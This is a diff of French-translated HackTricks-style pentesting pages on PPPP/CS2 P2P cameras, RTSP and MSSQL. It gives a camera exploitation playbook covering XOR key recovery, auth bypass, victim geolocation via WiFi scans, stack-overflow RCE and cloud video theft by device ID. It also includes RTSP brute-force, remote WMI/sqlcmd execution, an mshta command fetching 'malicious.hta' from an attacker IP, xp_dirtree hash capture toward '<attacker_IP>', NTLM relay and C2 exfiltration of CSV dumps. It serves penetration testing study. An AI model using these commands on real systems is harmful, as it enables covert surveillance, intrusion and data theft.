- Exposition Internet : de nombreux super-nœuds PPPP répondent à une sonde 32100/UDP. Des réponses en clair connues et des chaînes d'erreur en font des cibles faciles à identifier dans des captures de trafic et avec des scanners Internet.
|
||||
- Découverte LAN : les appareils répondent souvent à une recherche non chiffrée sur le broadcast local. Utilisez le script de Paul Marrapese pour énumérer :
|
||||
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
|
||||
|
||||
Remarques :
|
||||
- Les apps embarquent des "init strings" qui contiennent des listes IP de serveurs obfusquées et des clés de protocole. Ces chaînes sont trivialement extractibles des clients Android/iOS/Windows et sont souvent réutilisées à travers de nombreuses gammes de produits.
|
||||
|
||||
## NAT Traversal et Transport
|
||||
|
||||
- Les serveurs de rendezvous apprennent la mapping publique de l'appareil via des keepalives périodiques de l'appareil. Les clients interrogent les serveurs pour obtenir la mapping puis tentent des flux UDP directs en utilisant le hole punching. Si la traversal NAT échoue, le trafic est relayé par des hosts relais PPPP désignés.
|
||||
- Le "stream" applicatif implémente sa propre logique ACK/retx au-dessus d'UDP ; les boucles de retransmission sont dupliquées sur de nombreux chemins de code et peuvent inonder des liens sujets à perte.
|
||||
|
||||
## "Encryption" faible et récupération de clé
|
||||
|
||||
Deux mécanismes inefficaces existent dans la stack CS2 :
|
||||
|
||||
1) Blanket cipher (optional) – P2P_Proprietary_Encrypt
|
||||
- Généralement désactivé par les OEM utilisant LookCam.
|
||||
- L’ "init string" côté app fournit le matériau de clé qui est réduit à une clé effective de 4 octets (~espace 2^32).
|
||||
- Known-plaintext pratique : les 4 premiers octets de MSG_HELLO vers UDP/32100 sont connus et valent F1 00 00 00. L'observation d'une seule poignée de main chiffrée permet une récupération ou validation rapide de la clé.
|
||||
- Certains messages de contrôle (ex. MSG_REPORT_SESSION_READY) sont toujours chiffrés avec une clé codée en dur dans la librairie et partagée entre les apps.
|
||||
|
||||
2) Registration “encryption” – PPPP_CRCEnc
|
||||
- Malgré son nom, ce n'est pas un CRC. C'est un keystream XOR répétitif fixe avec une vérification de padding de 4 octets (non authentifiée).
|
||||
- Les réseaux LookCam utilisent typiquement CRCEnc uniquement pour l'enregistrement device → server (MSG_DEV_LGN_CRC). La plupart des autres trafics restent en clair.
|
||||
|
||||
Récupération simple du keystream pour PPPP_CRCEnc (Python) :
|
||||
```python
|
||||
# ciphertext: captured bytes of an encrypted registration message
|
||||
# known: guessed/known plaintext region (e.g., JSON or constant header)
|
||||
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
|
||||
# Decrypt more bytes by XORing with the repeating keystream
|
||||
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
|
||||
```
|
||||
Mauvaise correspondance du modèle de menace : les documents CS2 se concentrent sur la prévention des DoS via de faux enregistrements d'appareils, pas sur la confidentialité. Cela explique le chiffrement sélectif des enregistrements tandis que la vidéo/le contrôle restent optionnels ou en clair. Les serveurs PPPP historiques n'appliquent pas de rate limiting, ce qui permet du brute-force/abuse à grande échelle.
|
||||
|
||||
## Plan de contrôle: JSON Commands and Auth Bypass
|
||||
|
||||
De nombreux firmwares de caméras PPPP échangent des messages JSON une fois la session établie. Exemple “login” que le client envoie:
|
||||
```json
|
||||
{
|
||||
"cmd": "LoginDev",
|
||||
"pwd": "123456"
|
||||
}
|
||||
```
|
||||
Vulnérabilité courante dans les appareils de classe LookCam :
|
||||
- Le firmware ignore à la fois le flux LoginDev et les champs pwd par requête (CWE-287, CWE-306). L'appareil accepte des commandes opérationnelles sans valider de mot de passe.
|
||||
- Exploitation : ne pas envoyer LoginDev ou ignorer son résultat ; envoyer les commandes directement.
|
||||
|
||||
Commandes utiles observées :
|
||||
- searchWiFiList – exécute iwlist ; laisse la sortie brute dans /tmp/wifi_scan.txt.
|
||||
- DownloadFile – primitive de lecture de chemin arbitraire sans restriction de chemin.
|
||||
|
||||
Workflow pour désanonymiser l'emplacement via des artefacts transitoires :
|
||||
1) Send {"cmd":"searchWiFiList"}.
|
||||
2) Read /tmp/wifi_scan.txt via DownloadFile.
|
||||
3) Submit BSSID MACs to a geolocation API (e.g., Google Geolocation API) to localize the camera to tens of meters.
|
||||
|
||||
## De la sécurité mémoire à la RCE sur le firmware embarqué
|
||||
|
||||
Exemple typique de pattern non sûr (pseudocode extrait des handlers):
|
||||
```c
|
||||
char buf[256];
|
||||
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
memcpy(buf, cmd, strlen(cmd)); // no bound check
|
||||
```
|
||||
- Déclencheur : any cmd string > 255 bytes causes a stack buffer overflow (CWE-120/121).
|
||||
- Protections : pas de stack canary ; DEP/NX et ASLR souvent désactivés sur ces builds.
|
||||
- Impact : exécution directe de single-stage shellcode ou classique ROP/ret2libc sur le CPU de l’appareil (p.ex. ARM) pour compromission totale et pivot LAN.
|
||||
|
||||
Voir aussi :
|
||||
-
|
||||
{{#ref}}
|
||||
../binary-exploitation/stack-overflow/README.md
|
||||
{{#endref}}
|
||||
-
|
||||
{{#ref}}
|
||||
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Cloud Storage Abuse (HTTP, Device-ID only)
|
||||
|
||||
De nombreux firmwares de marque LookCam uploadent des enregistrements vers api.l040z.com (apicn.l040z.com pour BHCC) via HTTP uniquement. Observations :
|
||||
- Pas de TLS dans le firmware ; transport en clair HTTP.
|
||||
- L’API “authentication” est uniquement device-ID : quiconque connaît l’ID peut récupérer les enregistrements.
|
||||
- Le découpage en chunks de 5 MiB est hardcodé.
|
||||
- Activation à distance : au démarrage l’appareil appelle http://api.l040z.com/camera/signurl ; la réponse du serveur décide si les uploads commencent. L’app mobile peut afficher le cloud “désactivé” même lorsque des uploads ont lieu. Un tiers peut acheter/activer le cloud pour un ID victime et collecter silencieusement les vidéos.
|
||||
|
||||
Il s’agit d’une transmission sensible en clair classique (CWE-319) avec authZ côté serveur manquant.
|
||||
|
||||
## Device-ID Enumeration and Guessing
|
||||
|
||||
- Format d’ID : PREFIX-######-CCCCC et forme raccourcie par l’app (p.ex. GHBB-000001-NRLXW → G000001NRLXW).
|
||||
- Familles de préfixes : BHCC (hekai servers), FHBB et GHBB (mykj servers). Chaque préfixe mappe sur trois rendezvous servers pour HA.
|
||||
- Le vérificateur à 5 lettres utilise un alphabet de 22 lettres majuscules (A, I, O, Q exclus) → 22^5 ≈ 5.15M combinaisons par base numérique.
|
||||
- Des travaux antérieurs ont observé l’absence de rate-limiting côté serveur, rendant le guessing distribué pratique. L’algorithme du verifier est propriétaire et probablement devinable ou obtenable en reverse des apps/firmwares.
|
||||
|
||||
Sources pratiques d’IDs :
|
||||
- Affichés partout dans les apps officielles et souvent leaked dans des captures d’écran/vidéos d’utilisateurs.
|
||||
- Le SSID en mode AP est égal au device ID ; beaucoup d’appareils exposent un AP ouvert durant l’onboarding.
|
||||
|
||||
## Forcing Remote Reachability
|
||||
|
||||
Certains firmwares rebootent en boucle tant que les rendezvous servers ne sont pas atteignables. Si l’egress est bloqué, l’appareil restera en cycle de reboot, contraignant efficacement les propriétaires à le laisser Internet-reachable et exposé au PPPP rendezvous.
|
||||
|
||||
## Practical Exploitation Playbook (for repro/defense testing)
|
||||
|
||||
1) Obtain device ID
|
||||
- Depuis l’UI de l’app ou l’AP SSID ; sinon énumérer PREFIX+number et bruteforcer l’espace 22^5 du verifier.
|
||||
|
||||
2) Establish PPPP session
|
||||
- Utiliser un client CS2 PPPP ou du code custom ; extraire les listes IP des serveurs et les init keys depuis la app init string ; tenter UDP hole punching ; fallback sur relay.
|
||||
|
||||
3) Bypass auth
|
||||
- Ignorer LoginDev ou son résultat ; envoyer directement le JSON opérationnel.
|
||||
|
||||
4) Exfiltrate files / geo-locate
|
||||
- Envoyer {"cmd":"searchWiFiList"} ; puis DownloadFile "/tmp/wifi_scan.txt" ; soumettre les BSSIDs à une API de géolocalisation.
|
||||
|
||||
5) Achieve RCE
|
||||
- Envoyer un cmd > 255 bytes pour déclencher le stack overflow ; construire ROP/ret2libc ou déposer du shellcode (pas de canary/DEP/ASLR).
|
||||
|
||||
6) Cloud access
|
||||
- Interagir avec les endpoints api.l040z.com en n’utilisant que le device ID ; noter le chunking à 5 MiB ; l’activation cloud est contrôlée par /camera/signurl indépendamment de l’état affiché dans l’app UI.
|
||||
|
||||
## Related Protocols/Services
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
554-8554-pentesting-rtsp.md
|
||||
{{#endref}}
|
||||
-
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-wifi/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
|
||||
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
|
||||
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
|
||||
- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
|
||||
- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
|
||||
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -4,34 +4,34 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
D'après [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
|
||||
Extrait de [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
|
||||
|
||||
> Le **Real Time Streaming Protocol** (**RTSP**) est un protocole de contrôle réseau conçu pour être utilisé dans les systèmes de divertissement et de communication pour contrôler les serveurs de médias en streaming. Le protocole est utilisé pour établir et contrôler des sessions multimédias entre des points de terminaison. Les clients des serveurs de médias émettent des commandes de style VHS, telles que lecture, enregistrement et pause, pour faciliter le contrôle en temps réel des médias diffusés du serveur à un client (Vidéo à la demande) ou d'un client au serveur (Enregistrement vocal).
|
||||
> Le **Real Time Streaming Protocol** (**RTSP**) est un protocole de contrôle réseau conçu pour être utilisé dans des systèmes de divertissement et de communication afin de contrôler des serveurs de médias en streaming. Le protocole est utilisé pour établir et contrôler des sessions médias entre points de terminaison. Les clients des serveurs médias envoient des commandes de style VHS, telles que play, record and pause, pour faciliter le contrôle en temps réel du streaming des médias depuis le serveur vers un client (vidéo à la demande) ou depuis un client vers le serveur (enregistrement vocal).
|
||||
>
|
||||
> La transmission de données en streaming elle-même n'est pas une tâche de RTSP. La plupart des serveurs RTSP utilisent le Real-time Transport Protocol (RTP) en conjonction avec le Real-time Control Protocol (RTCP) pour la livraison de flux multimédias. Cependant, certains fournisseurs mettent en œuvre des protocoles de transport propriétaires. Le logiciel serveur RTSP de RealNetworks, par exemple, utilise également le Real Data Transport (RDT) propriétaire de RealNetworks.
|
||||
> La transmission des données en streaming elle-même n'est pas une tâche de RTSP. La plupart des serveurs RTSP utilisent le Real-time Transport Protocol (RTP) en conjonction avec le Real-time Control Protocol (RTCP) pour la livraison des flux médias. Cependant, certains fournisseurs implémentent des protocoles de transport propriétaires. Le logiciel serveur RTSP de RealNetworks, par exemple, utilisait également le Real Data Transport (RDT) propriétaire de RealNetworks.
|
||||
|
||||
**Ports par défaut :** 554,8554
|
||||
**Ports par défaut:** 554,8554
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
554/tcp open rtsp
|
||||
```
|
||||
## Détails Clés
|
||||
## Détails clés
|
||||
|
||||
**RTSP** est similaire à HTTP mais conçu spécifiquement pour le streaming multimédia. Il est défini dans une spécification simple que vous pouvez trouver ici :
|
||||
**RTSP** est similaire à HTTP mais conçu spécifiquement pour le streaming média. Il est défini dans une spécification simple que vous pouvez consulter ici:
|
||||
|
||||
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
|
||||
|
||||
Les appareils peuvent permettre un accès **non authentifié** ou **authentifié**. Pour vérifier, une requête "DESCRIBE" est envoyée. Un exemple de base est montré ci-dessous :
|
||||
Les appareils peuvent autoriser un accès **non authentifié** ou **authentifié**. Pour vérifier, on envoie une requête "DESCRIBE". Un exemple basique est montré ci‑dessous:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
|
||||
|
||||
N'oubliez pas que le format correct inclut un double "\r\n" pour une réponse cohérente. Une réponse "200 OK" indique un **accès non authentifié**, tandis que "401 Unauthorized" signale la nécessité d'une authentification, révélant si une authentification **Basic** ou **Digest** est requise.
|
||||
N'oubliez pas : le format correct inclut un double "\r\n" pour une réponse cohérente. Une réponse "200 OK" indique un **accès non authentifié**, tandis que "401 Unauthorized" signale la nécessité d'une authentification, révélant si une **Basic** ou **Digest authentication** est requise.
|
||||
|
||||
Pour l'**authentification Basic**, vous encodez le nom d'utilisateur et le mot de passe en base64 et l'incluez dans la requête comme suit :
|
||||
Pour la **Basic authentication**, encodez le nom d'utilisateur et le mot de passe en base64 et incluez-les dans la requête ainsi:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
|
||||
|
||||
Cet exemple utilise "admin" et "1234" pour les identifiants. Voici un **script Python** pour envoyer une telle requête :
|
||||
Cet exemple utilise "admin" et "1234" comme identifiants. Voici un **script Python** pour envoyer une telle requête:
|
||||
```python
|
||||
import socket
|
||||
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
|
||||
@ -41,40 +41,46 @@ s.sendall(req)
|
||||
data = s.recv(1024)
|
||||
print(data)
|
||||
```
|
||||
**L'authentification de base** est plus simple et préférée. **L'authentification Digest** nécessite une gestion soigneuse des détails d'authentification fournis dans la réponse "401 Non autorisé".
|
||||
**Basic authentication** est plus simple et préférable. **Digest authentication** nécessite une gestion attentive des détails d'authentification fournis dans la réponse "401 Unauthorized".
|
||||
|
||||
Cette vue d'ensemble simplifie le processus d'accès aux flux RTSP, en se concentrant sur **l'authentification de base** pour sa simplicité et sa praticité lors des premières tentatives.
|
||||
Cet aperçu simplifie le processus d'accès aux flux RTSP, en se concentrant sur **Basic authentication** pour sa simplicité et sa praticité lors des premières tentatives.
|
||||
|
||||
## Énumération
|
||||
|
||||
Obtenons des informations sur les méthodes valides et les URL prises en charge et essayons de forcer l'accès (si nécessaire) pour accéder au contenu.
|
||||
Récupérons des informations sur les méthodes valides et les URLs supportées, et essayons de brute-force l'accès (si nécessaire) pour obtenir le contenu.
|
||||
```bash
|
||||
nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
||||
```
|
||||
#### Visionnage du flux RTSP avec [ffplay](https://ffmpeg.org/ffplay.html)
|
||||
Une fois que vous avez découvert un chemin RTSP valide (par exemple, `/mpeg4`, `/live.sdp`) et confirmé l'accès (non authentifié ou avec des identifiants), vous pouvez utiliser `ffplay` pour diffuser le flux :
|
||||
#### Visualiser le flux RTSP avec [ffplay](https://ffmpeg.org/ffplay.html)
|
||||
Une fois que vous avez découvert un chemin RTSP valide (p. ex., `/mpeg4`, `/live.sdp`) et confirmé l'accès (sans authentification ou avec identifiants), vous pouvez utiliser `ffplay` pour lire le flux :
|
||||
```bash
|
||||
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
|
||||
```
|
||||
- `-rtsp_transport tcp` : Utilisez TCP au lieu de UDP pour un streaming plus fiable
|
||||
- `-x`, `-y` : Options facultatives pour contrôler la résolution vidéo
|
||||
- Remplacez `<IP>` et le chemin selon vos besoins
|
||||
- `-rtsp_transport tcp`: Utilisez TCP au lieu de UDP pour un streaming plus fiable
|
||||
- `-x`, `-y`: Options facultatives pour contrôler la résolution vidéo
|
||||
- Remplacez `<IP>` et le chemin si nécessaire
|
||||
|
||||
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
|
||||
|
||||
### **Autres programmes utiles**
|
||||
|
||||
Pour bruteforcer : [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
|
||||
Pour bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
|
||||
|
||||
[**Cameradar**](https://github.com/Ullaakut/cameradar)
|
||||
|
||||
- Détecter les hôtes RTSP ouverts sur toute cible accessible
|
||||
- Obtenir leurs informations publiques (nom d'hôte, port, modèle de caméra, etc.)
|
||||
- Lancer des attaques par dictionnaire automatisées pour obtenir leur route de streaming (par exemple /live.sdp)
|
||||
- Lancer des attaques par dictionnaire automatisées pour obtenir le nom d'utilisateur et le mot de passe des caméras
|
||||
- Générer des vignettes à partir d'eux pour vérifier si les flux sont valides et avoir un aperçu rapide de leur contenu
|
||||
- Essayer de créer un pipeline Gstreamer pour vérifier s'ils sont correctement encodés
|
||||
- Imprimer un résumé de toutes les informations que Cameradar a pu obtenir
|
||||
- Détecte les hôtes RTSP ouverts sur n'importe quelle cible accessible
|
||||
- Récupère leurs informations publiques (hostname, port, camera model, etc.)
|
||||
- Lance des automated dictionary attacks pour obtenir leur stream route (par exemple /live.sdp)
|
||||
- Lance des automated dictionary attacks pour obtenir le username et le password des caméras
|
||||
- Génère des thumbnails à partir de celles-ci pour vérifier si les streams sont valides et avoir un aperçu rapide de leur contenu
|
||||
- Tente de créer un pipeline Gstreamer pour vérifier s'ils sont correctement encodés
|
||||
- Affiche un résumé de toutes les informations que Cameradar a pu obtenir
|
||||
|
||||
### Voir aussi
|
||||
|
||||
{{#ref}}
|
||||
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -4,25 +4,25 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
Extrait de [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
> **Microsoft SQL Server** est un système de gestion de base de données **relationnelle** développé par Microsoft. En tant que serveur de base de données, c'est un produit logiciel dont la fonction principale est de stocker et de récupérer des données selon les demandes d'autres applications logicielles—qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet).
|
||||
> **Microsoft SQL Server** est un système de gestion de base de données **relationnelle** développé par Microsoft. En tant que serveur de base de données, c'est un produit logiciel dont la fonction principale est de stocker et de récupérer des données à la demande d'autres applications logicielles — qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur via un réseau (y compris Internet).
|
||||
|
||||
**Port par défaut :** 1433
|
||||
```
|
||||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||||
```
|
||||
### **Tables Système MS-SQL par Défaut**
|
||||
### **Tables système MS-SQL par défaut**
|
||||
|
||||
- **Base de données master** : Cette base de données est cruciale car elle capture tous les détails au niveau système pour une instance SQL Server.
|
||||
- **Base de données msdb** : SQL Server Agent utilise cette base de données pour gérer la planification des alertes et des travaux.
|
||||
- **Base de données model** : Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toute modification comme la taille, le tri, le modèle de récupération, et plus encore est reflétée dans les bases de données nouvellement créées.
|
||||
- **Base de données Resource** : Une base de données en lecture seule qui abrite des objets système qui accompagnent SQL Server. Ces objets, bien qu'ils soient physiquement stockés dans la base de données Resource, sont logiquement présentés dans le schéma sys de chaque base de données.
|
||||
- **Base de données tempdb** : Sert de zone de stockage temporaire pour des objets transitoires ou des ensembles de résultats intermédiaires.
|
||||
- **master Database**: Cette base de données est cruciale car elle contient tous les détails au niveau système pour une instance de SQL Server.
|
||||
- **msdb Database**: SQL Server Agent utilise cette base pour gérer la planification des alertes et des tâches.
|
||||
- **model Database**: Fait office de modèle pour chaque nouvelle base sur l'instance SQL Server, où toute modification (taille, collation, mode de récupération, etc.) est répercutée dans les bases créées.
|
||||
- **Resource Database**: Une base en lecture seule qui contient les objets système fournis avec SQL Server. Ces objets, bien que stockés physiquement dans la Resource database, sont présentés logiquement dans le schéma sys de chaque base.
|
||||
- **tempdb Database**: Sert de zone de stockage temporaire pour des objets transitoires ou des ensembles de résultats intermédiaires.
|
||||
|
||||
## Énumération
|
||||
|
||||
### Énumération Automatique
|
||||
### Énumération automatique
|
||||
|
||||
Si vous ne savez rien sur le service :
|
||||
```bash
|
||||
@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!TIP]
|
||||
> Si vous **n'avez pas** **d'identifiants**, vous pouvez essayer de les deviner. Vous pouvez utiliser nmap ou metasploit. Faites attention, vous pouvez **bloquer des comptes** si vous échouez à vous connecter plusieurs fois en utilisant un nom d'utilisateur existant.
|
||||
> Si vous **n'** **avez pas de credentials** vous pouvez essayer de les deviner. Vous pouvez utiliser nmap ou metasploit. Faites attention, vous pouvez **block accounts** si vous échouez plusieurs fois à vous connecter en utilisant un nom d'utilisateur existant.
|
||||
|
||||
#### Metasploit (besoin d'identifiants)
|
||||
#### Metasploit (need creds)
|
||||
```bash
|
||||
#Set USERNAME, RHOSTS and PASSWORD
|
||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
||||
1> select 1;
|
||||
2> go
|
||||
```
|
||||
#### Énumération Courante
|
||||
#### Énumération courante
|
||||
```sql
|
||||
# Get version
|
||||
select @@version;
|
||||
@ -154,16 +154,16 @@ order by name;
|
||||
EXEC sp_helpuser
|
||||
SELECT * FROM sysusers
|
||||
```
|
||||
#### Obtenir des autorisations
|
||||
#### Obtenir les autorisations
|
||||
|
||||
1. **Securable :** Défini comme les ressources gérées par SQL Server pour le contrôle d'accès. Celles-ci sont catégorisées en :
|
||||
- **Serveur** – Les exemples incluent les bases de données, les connexions, les points de terminaison, les groupes de disponibilité et les rôles de serveur.
|
||||
- **Base de données** – Les exemples couvrent le rôle de base de données, les rôles d'application, le schéma, les certificats, les catalogues de texte intégral et les utilisateurs.
|
||||
- **Schéma** – Inclut les tables, les vues, les procédures, les fonctions, les synonymes, etc.
|
||||
2. **Permission :** Associée aux securables de SQL Server, des permissions telles que ALTER, CONTROL et CREATE peuvent être accordées à un principal. La gestion des permissions se fait à deux niveaux :
|
||||
- **Niveau Serveur** utilisant des connexions
|
||||
- **Niveau Base de données** utilisant des utilisateurs
|
||||
3. **Principal :** Ce terme fait référence à l'entité à laquelle une permission est accordée pour un securable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle d'accès aux securables s'exerce par l'octroi ou le refus de permissions ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès.
|
||||
1. **Objet sécurisable :** Défini comme les ressources gérées par SQL Server pour le contrôle d'accès. Celles-ci sont classées en :
|
||||
- **Server** – Exemples : bases de données, logins, endpoints, availability groups et server roles.
|
||||
- **Database** – Exemples : rôles de base de données, rôles d'application, schéma, certificats, catalogues full-text et utilisateurs.
|
||||
- **Schema** – Comprend tables, vues, procédures, fonctions, synonymes, etc.
|
||||
2. **Autorisation :** Associée aux objets sécurisables de SQL Server, des autorisations telles que ALTER, CONTROL et CREATE peuvent être accordées à un principal. La gestion des autorisations s'effectue à deux niveaux :
|
||||
- **Niveau serveur** en utilisant des logins
|
||||
- **Niveau base de données** en utilisant des utilisateurs
|
||||
3. **Principal :** Ce terme désigne l'entité à laquelle une autorisation est accordée sur un objet sécurisable. Les principals incluent principalement les logins et les utilisateurs de base de données. Le contrôle de l'accès aux objets sécurisables s'exerce en accordant ou en refusant des autorisations, ou en incluant les logins et les utilisateurs dans des rôles disposant de droits d'accès.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
@ -188,7 +188,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
### Exécuter des commandes OS
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que pour pouvoir exécuter des commandes, il est non seulement nécessaire d'avoir **`xp_cmdshell`** **activé**, mais aussi d'avoir la **permission EXECUTE sur la procédure stockée `xp_cmdshell`**. Vous pouvez obtenir qui (sauf les sysadmins) peut utiliser **`xp_cmdshell`** avec :
|
||||
> Notez que pour pouvoir exécuter des commandes, il ne suffit pas d'avoir **`xp_cmdshell`** **activé**, il faut aussi disposer de la **permission EXECUTE sur la procédure stockée `xp_cmdshell`**. Vous pouvez obtenir la liste des utilisateurs (sauf les sysadmins) qui peuvent utiliser **`xp_cmdshell`** avec :
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -235,13 +235,45 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||
```
|
||||
### Obtenir des mots de passe hachés
|
||||
### Collecte SQL distante basée sur WMI (sqlcmd + CSV export)
|
||||
|
||||
Les opérateurs peuvent pivoter d'une couche IIS/app vers des SQL Servers en utilisant WMI pour exécuter un petit batch qui s'authentifie auprès de MSSQL et exécute des requêtes ad‑hoc, exportant les résultats au format CSV. Cela simplifie la collecte et se fond dans l'activité d'administration.
|
||||
|
||||
Exemple mssq.bat
|
||||
```bat
|
||||
@echo off
|
||||
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
|
||||
set S=%1
|
||||
set U=%2
|
||||
set P=%3
|
||||
set Q=%4
|
||||
set O=%5
|
||||
rem Remove headers, trim trailing spaces, CSV separator = comma
|
||||
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
|
||||
```
|
||||
Exécuter à distance avec WMI
|
||||
```cmd
|
||||
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
|
||||
```
|
||||
Alternative à PowerShell
|
||||
```powershell
|
||||
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
|
||||
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
|
||||
```
|
||||
Remarques
|
||||
- sqlcmd peut être absent ; retomber sur osql, PowerShell Invoke-Sqlcmd, ou un one‑liner utilisant System.Data.SqlClient.
|
||||
- Faites attention aux guillemets ; les requêtes longues/complexes sont plus faciles à fournir via un fichier ou via un argument encodé en Base64 décodé à l'intérieur du stub batch/PowerShell.
|
||||
- Exfil the CSV via SMB (e.g., copy from \\SQLHOST\C$\Windows\Temp) or compresser et transférer via votre C2.
|
||||
|
||||
|
||||
|
||||
### Obtenir les mots de passe hachés
|
||||
```bash
|
||||
SELECT * FROM master.sys.syslogins;
|
||||
```
|
||||
### Voler le hash NetNTLM / Attaque de relais
|
||||
### Voler NetNTLM hash / Relay attack
|
||||
|
||||
Vous devriez démarrer un **serveur SMB** pour capturer le hash utilisé dans l'authentification (`impacket-smbserver` ou `responder` par exemple).
|
||||
Vous devriez démarrer un **SMB server** pour capturer le hash utilisé lors de l'authentification (`impacket-smbserver` ou `responder` par exemple).
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
@ -265,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
```
|
||||
> [!WARNING]
|
||||
> Vous pouvez vérifier qui (en dehors des sysadmins) a les permissions pour exécuter ces fonctions MSSQL avec :
|
||||
> Vous pouvez vérifier qui (à part les administrateurs système) a les autorisations pour exécuter ces fonctions MSSQL avec :
|
||||
>
|
||||
> ```sql
|
||||
> Use master;
|
||||
@ -274,22 +306,24 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
> EXEC sp_helprotect 'xp_fileexist';
|
||||
> ```
|
||||
|
||||
En utilisant des outils tels que **responder** ou **Inveigh**, il est possible de **voler le hash NetNTLM**.\
|
||||
Using tools such as **responder** or **Inveigh** it's possible to **steal the NetNTLM hash**.\
|
||||
Vous pouvez voir comment utiliser ces outils dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Abus des Liens de Confiance MSSQL
|
||||
### Abuser des MSSQL trusted Links
|
||||
|
||||
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **pour plus d'informations sur la façon d'abuser de cette fonctionnalité :**
|
||||
|
||||
